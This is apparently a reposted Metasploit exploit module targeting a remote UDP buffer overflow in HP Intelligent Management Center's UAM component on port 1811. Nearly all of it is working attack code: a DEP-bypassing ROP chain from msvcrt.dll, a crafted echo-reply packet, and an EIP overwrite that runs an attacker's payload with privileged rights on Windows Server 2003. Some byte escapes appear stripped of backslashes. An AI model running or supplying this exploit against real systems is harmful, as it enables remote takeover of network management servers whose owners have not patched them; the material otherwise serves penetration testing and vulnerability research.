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HP Intelligent Management Center UAM Buffer Overflow

Posted on 02 November 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'HP Intelligent Management Center UAM Buffer Overflow',
 'Description' => %q{
 This module exploits a remote buffer overflow in HP Intelligent Management Center
 UAM. The vulnerability exists in the uam.exe component, when using sprint in a
 insecure way for logging purposes. The vulnerability can be triggered by sending a
 malformed packet to the 1811/UDP port. The module has been successfully tested on
 HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass).
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
 'sinn3r', # Metasploit module
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 ['OSVDB', '85060'],
 ['BID', '55271'],
 ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-171']
 ],
 'Payload' =>
 {
 'BadChars' => "x00x0dx0a",
 'PrependEncoder' => "x81xc4x54xf2xffxff", # Stack adjustment # add esp, -3500
 'Space' => 3925,
 'DisableNops' => true
 },
 'Platform' => ['win'],
 'Targets' =>
 [
 [ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2',
 {
 'Offset' => 4035,
 }
 ]
 ],
 'Privileged' => true,
 'DisclosureDate' => 'Aug 29 2012',
 'DefaultTarget' => 0))

 register_options([Opt::RPORT(1811)], self.class)
 end

 def junk(n=4)
 return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
 return make_nops(4).unpack("V")[0].to_i
 end

 def send_echo_reply(operator)
 packet = [0xF7103D21].pack("N") # command id
 packet << rand_text(18)
 packet << [0x102].pack("n") # watchdog command type => echo reply
 packet << "AAAA" # ip (static to make offset until EIP static)
 packet << "AA" # port (static to make offset until EIP static)
 packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total

 connect_udp
 udp_sock.put(packet)
 disconnect_udp
 end

 def exploit

 # ROP chain generated with mona.py - See corelan.be
 rop_gadgets =
 [
 0x77bb2563, # POP EAX # RETN
 0x77ba1114, # <- *&VirtualProtect()
 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
 junk,
 0x77bb0c86, # XCHG EAX,ESI # RETN
 0x77bc9801, # POP EBP # RETN
 0x77be2265, # ptr to 'push esp # ret'
 0x77bb2563, # POP EAX # RETN
 0x03C0990F,
 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
 0x77bb48d3, # POP EBX, RET
 0x77bf21e0, # .data
 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
 0x77bbfc02, # POP ECX # RETN
 0x77bef001, # W pointer (lpOldProtect) (-> ecx)
 0x77bd8c04, # POP EDI # RETN
 0x77bd8c05, # ROP NOP (-> edi)
 0x77bb2563, # POP EAX # RETN
 0x03c0984f,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb8285, # XCHG EAX,EDX # RETN
 0x77bb2563, # POP EAX # RETN
 nop,
 0x77be6591, # PUSHAD # ADD AL,0EF # RETN
 ].pack("V*")

 bof = rand_text(14)
 bof << rop_gadgets
 bof << payload.encoded
 bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length)
 bof << [0x77bb0c86].pack("V") # EIP => XCHG EAX,ESI # RETN # from msvcrt.dll
 bof << [0x77bcc397].pack("V") # ADD EAX,2C # POP EBP # RETN # from msvcrt.dll
 bof << [junk].pack("V") # EBP
 bof << [0x77bcba5e].pack("V") # XCHG EAX,ESP # RETN # from msvcrt.dll

 print_status("Trying target #{target.name}...")
 send_echo_reply(rand_text(20)) # something like... get up! ?
 send_echo_reply(bof) # exploit
 end
end

 

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